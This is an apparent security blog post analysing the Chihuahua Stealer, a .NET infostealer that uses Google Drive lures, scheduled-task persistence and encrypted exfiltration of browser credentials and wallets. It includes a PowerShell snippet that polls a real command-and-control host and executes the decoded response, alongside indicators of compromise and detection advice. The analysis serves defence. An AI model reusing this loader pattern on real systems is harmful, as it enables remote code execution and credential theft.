Chihuahua Stealer Uses Google Drive to Steal Browser Credentials

Chihuahua Stealer: A Silent Saboteur Leveraging Google Drive for Precision Attacks

In a sharp turn for threat actors favoring stealth and sophistication, a .NET-based malware variant named “Chihuahua Stealer” has surfaced, weaving together cloud services, PowerShell abuse, and data exfiltration in a cohesive and alarming toolkit.

First spotlighted by cybersecurity firm G DATA in April 2025, the malware is engineered to lift browser login credentials, session cookies, and crypto wallet data, all while sidestepping detection through an intricate, staged execution strategy.

From Cloud to Compromise

The initial vector? A Google Drive-hosted document—weaponized not with macros, but with deeply obfuscated PowerShell code. Victims lured into opening the file unknowingly kick off a tightly choreographed sequence:

The script overrides local execution protections,
Decodes a Base64 blob,
Deploys a second-stage hex-encoded payload,
And establishes persistent access using Windows task scheduling.

This wasn’t mere theory. The campaign came under public scrutiny when a Reddit user unwittingly triggered the infection after accessing a seemingly benign file. The incident helped trace the operation’s broader scale and ingenuity.

Modularity Meets Encryption Mastery

Unlike many commodity stealers, Chihuahua Stealer is modular, with capabilities that expand post-infection. It contacts multiple C2 endpoints, fetching encrypted modules tailored for exfiltration and execution.

Key to its stealth is the use of AES-GCM encryption via the Windows Cryptography API: Next Generation (CNG), a method that shields exfiltrated payloads in HTTPS traffic and defies basic network detection tools.

A High-Caliber Orchestration

At its heart, Chihuahua isn’t just malware—it’s a scripted framework for targeted credential theft, hiding behind common services and camouflaged code layers. Its reliance on marker-based triggers and decentralized payload delivery suggests that its developers prioritize both flexibility and longevity.

This campaign is a reminder: even trusted platforms like Google Drive can be repurposed into launchpads for advanced cyber threats—and PowerShell, long a favorite of defenders, remains a formidable weapon in the wrong hands.

Inside the Kill Chain: How ‘Chihuahua Stealer’ Uses Hidden Triggers, Fake Domains, and AES Encryption to Evade Detection

Forget noisy droppers or overt payloads—Chihuahua Stealer operates more like a ghost in the machine. At its core is a silent automation engine, orchestrated via Windows scheduled tasks and marker-based activation, designed to make detection a postmortem luxury.

Persistence by Design, Not Accident

The infection mechanism doesn’t scream for attention. Instead, it sets up a discreet task named f90g30g82 that quietly runs every minute, sweeping the user’s Recent Files directory for oddly named files with a .normaldaki extension—silent indicators that the host has been primed.

If one of these markers exists, the script pings a control node at
cdn.findfakesnake[.]xyz, requesting status. What follows is no ordinary payload drop.

Here’s the logic, simplified:

Powershell

Register-ScheduledJob -Name “f90g30g82” -ScriptBlock {
$files = Get-ChildItem -Path $Env:Recent -Filter “*.normaldaki”;
if ($files) {
$response = Invoke-RestMethod -Uri “https://cdn.findfakesnake.xyz/status/$($files.Name)”;
if ($response -match “Comm”) {
iex([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($response.Split(‘|’)[1])));
}
}
}

If the command server is offline, the malware doesn’t flinch. It switches to a redundant backup at
cat-watches-site[.]xyz, maintaining continuity in its operation.

Payload Without a File

Eventually, the malware fetches a .NET assembly—the actual stealer component—from
flowers.hold-me-finger[.]xyz. Rather than writing this to disk, it uses in-memory reflection to execute it, keeping traditional antivirus solutions in the dark.

This assembly begins exfiltrating sensitive browser data, cookies, and wallets—but not as raw text. Everything is bundled into an encrypted .chihuahua archive using AES-GCM with Windows’ Cryptography API: Next Generation (CNG), pushing forensic visibility to near zero.

Each infected host is fingerprinted by combining its hostname and volume serial number, producing a unique identifier to label the exfiltrated data sets—no two leaks are alike.

Subtle Yet Ruthless: Anti-Analysis and Obfuscation Tactics

Chihuahua Stealer also cleans up after itself:

Flushes DNS caches (ipconfig /flushdns) to mask C2 lookups
Wipes clipboard data after execution to eliminate potential traces
Evades detection by avoiding disk writes, favoring script-based memory execution

While the encryption scheme is solid, G DATA’s reverse engineering team managed to recover hardcoded AES keys, enabling retrospective analysis of captured samples.

Defense and Detection: What to Watch

Security teams should treat the following behaviors as high-risk signals:

Unexpected scheduled jobs that reference PowerShell blocks
In-memory loading of .NET assemblies via reflection
File artifacts with a .normaldaki extension in user activity folders
Outbound requests to:
- cdn.findfakesnake[.]xyz
- cat-watches-site[.]xyz
- flowers.hold-me-finger[.]xyz/index2[.]php

Hashes of interest include:

PowerShell loader: afa819c9...
Final payload: c9bc4fdc...

Detection tools like G DATA’s PowerShell.Trojan-Downloader.Agent.IE1KHF and Win32.Trojan-Stealer.Chihuahua.8W7FOE currently provide coverage against known variants.

Bottom Line:
Chihuahua Stealer isn’t just malware—it’s a masterclass in subtlety. Its use of cloud delivery, modular scripts, and native encryption APIs represents a tactical evolution in infostealer design. As attackers increasingly hide in plain sight, security postures must evolve from signature-based detection to behavioral anomaly hunting—especially where PowerShell and cloud integrations intersect.

CYPHERLOCK, INC.